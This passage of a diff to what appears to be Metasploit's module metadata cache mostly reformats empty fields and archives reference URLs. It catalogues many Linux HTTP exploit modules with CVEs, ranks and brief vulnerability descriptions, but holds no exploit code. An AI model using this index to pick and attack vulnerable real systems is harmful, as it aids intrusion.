"exploit/linux/http/rconfig_vendors_auth_file_upload_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-03-17", "type": "exploit", @@ -83339,9 +73204,7 @@ "exploit_linux/http/realtek_miniigd_upnp_exec_noauth": { "name": "Realtek SDK Miniigd UPnP SOAP Command Execution", "fullname": "exploit/linux/http/realtek_miniigd_upnp_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-04-24", "type": "exploit", @@ -83385,17 +73248,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/riverbed_netprofiler_netexpress_exec": { "name": "Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution", "fullname": "exploit/linux/http/riverbed_netprofiler_netexpress_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-06-27", "type": "exploit", @@ -83434,17 +73294,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/roxy_wi_exec": { "name": "Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE", "fullname": "exploit/linux/http/roxy_wi_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-07-06", "type": "exploit", @@ -83504,9 +73361,7 @@ "exploit_linux/http/saltstack_salt_api_cmd_exec": { "name": "SaltStack Salt REST API Arbitrary Command Execution", "fullname": "exploit/linux/http/saltstack_salt_api_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-11-03", "type": "exploit", @@ -83567,9 +73422,7 @@ "exploit_linux/http/saltstack_salt_wheel_async_rce": { "name": "SaltStack Salt API Unauthenticated RCE through wheel_async client", "fullname": "exploit/linux/http/saltstack_salt_wheel_async_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-02-25", "type": "exploit", @@ -83630,9 +73483,7 @@ "exploit_linux/http/samsung_srv_1670d_upload_exec": { "name": "Samsung SRN-1670D Web Viewer Version 1.0.0.193 Arbitrary File Read and Upload", "fullname": "exploit/linux/http/samsung_srv_1670d_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2017-03-14", "type": "exploit", @@ -83676,17 +73527,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/seagate_nas_php_exec_noauth": { "name": "Seagate Business NAS Unauthenticated Remote Command Execution", "fullname": "exploit/linux/http/seagate_nas_php_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-03-01", "type": "exploit", @@ -83700,7 +73548,7 @@ "CVE-2014-8687", "EDB-36202", "URL-http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/", - "URL-https://beyondbinary.io/advisory/seagate-nas-rce/" + "URL-http://web.archive.org/web/20150806124553/https://beyondbinary.io/advisory/seagate-nas-rce/" ], "platform": "PHP", "arch": "php", @@ -83723,24 +73571,21 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb", "is_install_path": true, "ref_name": "linux/http/seagate_nas_php_exec_noauth", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/selenium_greed_chrome_rce_cve_2022_28108": { "name": "Selenium chrome RCE", "fullname": "exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-04-18", "type": "exploit", @@ -83801,9 +73646,7 @@ "exploit_linux/http/selenium_greed_firefox_rce_cve_2022_28108": { "name": "Selenium geckodriver RCE", "fullname": "exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-04-18", "type": "exploit", @@ -83864,9 +73707,7 @@ "exploit_linux/http/smt_ipmi_close_window_bof": { "name": "Supermicro Onboard IPMI close_window.cgi Buffer Overflow", "fullname": "exploit/linux/http/smt_ipmi_close_window_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2013-11-06", "type": "exploit", @@ -83907,17 +73748,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/solarview_unauth_rce_cve_2023_23333": { "name": "SolarView Compact unauthenticated remote command execution vulnerability.", "fullname": "exploit/linux/http/solarview_unauth_rce_cve_2023_23333", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-05-15", "type": "exploit", @@ -83977,9 +73815,7 @@ "exploit_linux/http/sonicwall_cve_2021_20039": { "name": "SonicWall SMA 100 Series Authenticated Command Injection", "fullname": "exploit/linux/http/sonicwall_cve_2021_20039", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-12-14", "type": "exploit", @@ -84039,9 +73875,7 @@ "exploit_linux/http/sophos_utm_webadmin_sid_cmd_injection": { "name": "Sophos UTM WebAdmin SID Command Injection", "fullname": "exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-09-18", "type": "exploit", @@ -84103,9 +73937,7 @@ "exploit_linux/http/sophos_wpa_iface_exec": { "name": "Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution", "fullname": "exploit/linux/http/sophos_wpa_iface_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-04-08", "type": "exploit", @@ -84146,17 +73978,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/sophos_wpa_sblistpack_exec": { "name": "Sophos Web Protection Appliance sblistpack Arbitrary Command Execution", "fullname": "exploit/linux/http/sophos_wpa_sblistpack_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-06", "type": "exploit", @@ -84200,17 +74029,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/sourcegraph_gitserver_sshcmd": { "name": "Sourcegraph gitserver sshCommand RCE", "fullname": "exploit/linux/http/sourcegraph_gitserver_sshcmd", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-02-18", "type": "exploit", @@ -84221,7 +74047,7 @@ "description": "A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute\n arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can\n then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a\n feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the\n commands that are able to be executed through the git exec REST API.", "references": [ "CVE-2022-23642", - "URL-https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9", + "URL-http://web.archive.org/web/20230705082819/https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9", "URL-https://github.com/Altelus1/CVE-2022-23642" ], "platform": "Linux,Unix", @@ -84247,7 +74073,7 @@ "Unix Command", "Linux Dropper" ], - "mod_time": "2022-07-11 09:48:08 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb", "is_install_path": true, "ref_name": "linux/http/sourcegraph_gitserver_sshcmd", @@ -84272,9 +74098,7 @@ "exploit_linux/http/spark_unauth_rce": { "name": "Apache Spark Unauthenticated Command Execution", "fullname": "exploit/linux/http/spark_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-12-12", "type": "exploit", @@ -84336,9 +74160,7 @@ "exploit_linux/http/spring_cloud_gateway_rce": { "name": "Spring Cloud Gateway Remote Code Execution", "fullname": "exploit/linux/http/spring_cloud_gateway_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-01-26", "type": "exploit", @@ -84400,9 +74222,7 @@ "exploit_linux/http/suitecrm_log_file_rce": { "name": "SuiteCRM Log File Remote Code Execution", "fullname": "exploit/linux/http/suitecrm_log_file_rce", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2021-04-28", "type": "exploit", @@ -84415,7 +74235,7 @@ "CVE-2020-28328", "EDB-49001", "URL-https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/", - "URL-https://theyhack.me/SuiteCRM-RCE-2/" + "URL-http://web.archive.org/web/20211209044023/https://theyhack.me/SuiteCRM-RCE-2/" ], "platform": "Linux,Unix", "arch": "ARCH_X64, ARCH_CMD, ARCH_X86", @@ -84439,7 +74259,7 @@ "Linux (x64)", "Linux (cmd)" ], - "mod_time": "2024-06-14 12:05:12 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/http/suitecrm_log_file_rce.rb", "is_install_path": true, "ref_name": "linux/http/suitecrm_log_file_rce", @@ -84464,9 +74284,7 @@ "exploit_linux/http/supervisor_xmlrpc_exec": { "name": "Supervisor XML-RPC Authenticated Remote Code Execution", "fullname": "exploit/linux/http/supervisor_xmlrpc_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-07-19", "type": "exploit", @@ -84508,17 +74326,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/symantec_messaging_gateway_exec": { "name": "Symantec Messaging Gateway Remote Code Execution", "fullname": "exploit/linux/http/symantec_messaging_gateway_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-26", "type": "exploit", @@ -84558,17 +74373,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/symantec_web_gateway_exec": { "name": "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection", "fullname": "exploit/linux/http/symantec_web_gateway_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-05-17", "type": "exploit", @@ -84612,17 +74424,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/symantec_web_gateway_file_upload": { "name": "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability", "fullname": "exploit/linux/http/symantec_web_gateway_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-05-17", "type": "exploit", @@ -84666,17 +74475,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/symantec_web_gateway_lfi": { "name": "Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability", "fullname": "exploit/linux/http/symantec_web_gateway_lfi", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-05-17", "type": "exploit", @@ -84720,17 +74526,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/symantec_web_gateway_pbcontrol": { "name": "Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection", "fullname": "exploit/linux/http/symantec_web_gateway_pbcontrol", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-23", "type": "exploit", @@ -84774,17 +74577,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/symantec_web_gateway_restore": { "name": "Symantec Web Gateway 5 restore.php Post Authentication Command Injection", "fullname": "exploit/linux/http/symantec_web_gateway_restore", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-12-16", "type": "exploit", @@ -84828,17 +74628,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/symmetricom_syncserver_rce": { "name": "Symmetricom SyncServer Unauthenticated Remote Command Execution", "fullname": "exploit/linux/http/symmetricom_syncserver_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-08-31", "type": "exploit", @@ -84898,9 +74695,7 @@ "exploit_linux/http/synology_dsm_sliceupload_exec_noauth": { "name": "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution", "fullname": "exploit/linux/http/synology_dsm_sliceupload_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-31", "type": "exploit", @@ -84940,17 +74735,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/synology_dsm_smart_exec_auth": { "name": "Synology DiskStation Manager smart.cgi Remote Command Execution", "fullname": "exploit/linux/http/synology_dsm_smart_exec_auth", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-11-08", "type": "exploit", @@ -85012,9 +74804,7 @@ "exploit_linux/http/terramaster_unauth_rce_cve_2020_35665": { "name": "TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2020_35665", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-12-12", "type": "exploit", @@ -85079,9 +74869,7 @@ "exploit_linux/http/terramaster_unauth_rce_cve_2021_45837": { "name": "TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.", "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2021_45837", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-12-24", "type": "exploit", @@ -85145,9 +74933,7 @@ "exploit_linux/http/terramaster_unauth_rce_cve_2022_24990": { "name": "TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989", "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2022_24990", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-03-07", "type": "exploit", @@ -85211,9 +74997,7 @@ "exploit_linux/http/tiki_calendar_exec": { "name": "Tiki-Wiki CMS Calendar Command Execution", "fullname": "exploit/linux/http/tiki_calendar_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-06-06", "type": "exploit", @@ -85254,17 +75038,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/totolink_unauth_rce_cve_2023_30013": { "name": "TOTOLINK Wireless Routers unauthenticated remote command execution vulnerability.", "fullname": "exploit/linux/http/totolink_unauth_rce_cve_2023_30013", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-05-05", "type": "exploit", @@ -85325,9 +75106,7 @@ "exploit_linux/http/tp_link_ncxxx_bonjour_command_injection": { "name": "TP-Link Cloud Cameras NCXXX Bonjour Command Injection", "fullname": "exploit/linux/http/tp_link_ncxxx_bonjour_command_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-04-29", "type": "exploit", @@ -85386,9 +75165,7 @@ "exploit_linux/http/tp_link_sc2020n_authenticated_telnet_injection": { "name": "TP-Link SC2020n Authenticated Telnet Injection", "fullname": "exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-12-20", "type": "exploit", @@ -85429,17 +75206,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/tr064_ntpserver_cmdinject": { "name": "Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection Over TR-064", "fullname": "exploit/linux/http/tr064_ntpserver_cmdinject", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-11-07", "type": "exploit", @@ -85487,17 +75261,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/traccar_rce_upload": { "name": "Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)", "fullname": "exploit/linux/http/traccar_rce_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-08-23", "type": "exploit", @@ -85560,9 +75331,7 @@ "exploit_linux/http/trend_micro_imsva_exec": { "name": "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution", "fullname": "exploit/linux/http/trend_micro_imsva_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-01-15", "type": "exploit", @@ -85602,17 +75371,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/trendmicro_imsva_widget_exec": { "name": "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution", "fullname": "exploit/linux/http/trendmicro_imsva_widget_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-10-07", "type": "exploit", @@ -85653,17 +75419,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/trendmicro_sps_exec": { "name": "Trend Micro Smart Protection Server Exec Remote Code Injection", "fullname": "exploit/linux/http/trendmicro_sps_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-08-08", "type": "exploit", @@ -85702,17 +75465,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/trendmicro_websecurity_exec": { "name": "Trend Micro Web Security (Virtual Appliance) Remote Code Execution", "fullname": "exploit/linux/http/trendmicro_websecurity_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-06-10", "type": "exploit", @@ -85773,9 +75533,7 @@ "exploit_linux/http/trueonline_billion_5200w_rce": { "name": "TrueOnline / Billion 5200W-T Router Unauthenticated Command Injection", "fullname": "exploit/linux/http/trueonline_billion_5200w_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-12-26", "type": "exploit", @@ -85818,17 +75576,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/trueonline_p660hn_v1_rce": { "name": "TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection", "fullname": "exploit/linux/http/trueonline_p660hn_v1_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-12-26", "type": "exploit", @@ -85870,17 +75625,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/trueonline_p660hn_v2_rce": { "name": "TrueOnline / ZyXEL P660HN-T v2 Router Authenticated Command Injection", "fullname": "exploit/linux/http/trueonline_p660hn_v2_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-12-26", "type": "exploit", @@ -85923,8 +75675,7 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, @@ -85974,17 +75725,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/ueb_api_rce": { "name": "Unitrends UEB http api remote code execution", "fullname": "exploit/linux/http/ueb_api_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-08-08", "type": "exploit", @@ -86033,17 +75781,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/unraid_auth_bypass_exec": { "name": "Unraid 6.8.0 Auth Bypass PHP Code Execution", "fullname": "exploit/linux/http/unraid_auth_bypass_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-10", "type": "exploit", @@ -86054,8 +75799,8 @@ "references": [ "CVE-2020-5847", "CVE-2020-5849", - "URL-https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/", - "URL-https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/" + "URL-http://web.archive.org/web/20220520205905/https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/", + "URL-http://web.archive.org/web/20230330210936/https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/" ], "platform": "PHP", "arch": "php", @@ -86078,7 +75823,7 @@ "targets": [ "Automatic" ], - "mod_time": "2023-02-10 18:04:31 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/http/unraid_auth_bypass_exec.rb", "is_install_path": true, "ref_name": "linux/http/unraid_auth_bypass_exec", @@ -86102,9 +75847,7 @@ "exploit_linux/http/vap2500_tools_command_exec": { "name": "Arris VAP2500 tools_command.php Command Execution", "fullname": "exploit/linux/http/vap2500_tools_command_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-25", "type": "exploit", @@ -86149,17 +75892,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/vcms_upload": { "name": "V-CMS PHP File Upload and Execute", "fullname": "exploit/linux/http/vcms_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-27", "type": "exploit", @@ -86203,17 +75943,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/vestacp_exec": { "name": "Vesta Control Panel Authenticated Remote Code Execution", "fullname": "exploit/linux/http/vestacp_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-17", "type": "exploit", @@ -86275,9 +76012,7 @@ "exploit_linux/http/vinchin_backup_recovery_cmd_inject": { "name": "Vinchin Backup and Recovery Command Injection", "fullname": "exploit/linux/http/vinchin_backup_recovery_cmd_inject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-10-26", "type": "exploit", @@ -86340,9 +76075,7 @@ "exploit_linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144": { "name": "VMware NSX Manager XStream unauthenticated RCE", "fullname": "exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-10-25", "type": "exploit", @@ -86406,9 +76139,7 @@ "exploit_linux/http/vmware_vcenter_analytics_file_upload": { "name": "VMware vCenter Server Analytics (CEIP) Service File Upload", "fullname": "exploit/linux/http/vmware_vcenter_analytics_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-09-21", "type": "exploit", @@ -86474,9 +76205,7 @@ "exploit_linux/http/vmware_vcenter_vsan_health_rce": { "name": "VMware vCenter Server Virtual SAN Health Check Plugin RCE", "fullname": "exploit/linux/http/vmware_vcenter_vsan_health_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-05-25", "type": "exploit", @@ -86542,9 +76271,7 @@ "exploit_linux/http/vmware_view_planner_4_6_uploadlog_rce": { "name": "VMware View Planner Unauthenticated Log File Upload RCE", "fullname": "exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-03-02", "type": "exploit", @@ -86556,7 +76283,7 @@ "description": "This module exploits an unauthenticated log file upload within the\n log_upload_wsgi.py file of VMWare View Planner 4.6 prior to 4.6\n Security Patch 1.\n\n Successful exploitation will result in RCE as the apache user inside\n the appacheServer Docker container.", "references": [ "CVE-2021-21978", - "URL-https://www.vmware.com/security/advisories/VMSA-2021-0003.html", + "URL-http://web.archive.org/web/20240621163557/https://www.vmware.com/security/advisories/VMSA-2021-0003.html", "URL-https://attackerkb.com/assessments/fc456e03-adf5-409a-955a-8a4fb7e79ece" ], "platform": "Python", @@ -86580,7 +76307,7 @@ "targets": [ "VMware View Planner 4.6.0" ], - "mod_time": "2021-03-15 01:33:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/http/vmware_view_planner_4_6_uploadlog_rce.rb", "is_install_path": true, "ref_name": "linux/http/vmware_view_planner_4_6_uploadlog_rce", @@ -86605,9 +76332,7 @@ "exploit_linux/http/vmware_vrli_rce": { "name": "VMware vRealize Log Insight Unauthenticated RCE", "fullname": "exploit/linux/http/vmware_vrli_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-24", "type": "exploit", @@ -86671,9 +76396,7 @@ "exploit_linux/http/vmware_vrni_rce_cve_2023_20887": { "name": "VMWare Aria Operations for Networks (vRealize Network Insight) pre-authenticated RCE", "fullname": "exploit/linux/http/vmware_vrni_rce_cve_2023_20887", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-06-07", "type": "exploit", @@ -86736,9 +76459,7 @@ "exploit_linux/http/vmware_vrops_mgr_ssrf_rce": { "name": "VMware vRealize Operations (vROps) Manager SSRF RCE", "fullname": "exploit/linux/http/vmware_vrops_mgr_ssrf_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-03-30", "type": "exploit", @@ -86800,9 +76521,7 @@ "exploit_linux/http/vmware_workspace_one_access_cve_2022_22954": { "name": "VMware Workspace ONE Access CVE-2022-22954", "fullname": "exploit/linux/http/vmware_workspace_one_access_cve_2022_22954", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-04-06", "type": "exploit", @@ -86866,9 +76585,7 @@ "exploit_linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain": { "name": "VMware Workspace ONE Access VMSA-2022-0011 exploit chain", "fullname": "exploit/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-04-06", "type": "exploit", @@ -86931,9 +76648,7 @@ "exploit_linux/http/wanem_exec": { "name": "WAN Emulator v2.3 Command Execution", "fullname": "exploit/linux/http/wanem_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-12", "type": "exploit", @@ -86973,17 +76688,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/watchguard_firebox_unauth_rce_cve_2022_26318": { "name": "WatchGuard XTM Firebox Unauthenticated Remote Command Execution", "fullname": "exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2022-08-29", "type": "exploit", @@ -87047,9 +76759,7 @@ "exploit_linux/http/wd_mycloud_multiupload_upload": { "name": "Western Digital MyCloud multi_uploadify File Upload Vulnerability", "fullname": "exploit/linux/http/wd_mycloud_multiupload_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-07-29", "type": "exploit", @@ -87091,17 +76801,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/wd_mycloud_unauthenticated_cmd_injection": { "name": "Western Digital MyCloud unauthenticated command injection", "fullname": "exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-12-14", "type": "exploit", @@ -87164,9 +76871,7 @@ "exploit_linux/http/webcalendar_settings_exec": { "name": "WebCalendar 1.2.4 Pre-Auth Remote Code Injection", "fullname": "exploit/linux/http/webcalendar_settings_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-04-23", "type": "exploit", @@ -87208,17 +76913,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/webid_converter": { "name": "WeBid converter.php Remote PHP Code Injection", "fullname": "exploit/linux/http/webid_converter", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-07-05", "type": "exploit", @@ -87230,7 +76932,7 @@ "references": [ "OSVDB-73609", "EDB-17487", - "URL-http://www.webidsupport.com/forums/showthread.php?3892" + "URL-http://web.archive.org/web/20230206230259/http://www.webidsupport.com/forums/showthread.php?3892" ], "platform": "PHP", "arch": "php", @@ -87253,15 +76955,14 @@ "targets": [ "WeBid 1.0.2 / Ubuntu" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/http/webid_converter.rb", "is_install_path": true, "ref_name": "linux/http/webid_converter", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, @@ -87333,9 +77034,7 @@ "exploit_linux/http/webmin_file_manager_rce": { "name": "Webmin File Manager RCE", "fullname": "exploit/linux/http/webmin_file_manager_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-02-26", "type": "exploit", @@ -87394,9 +77093,7 @@ 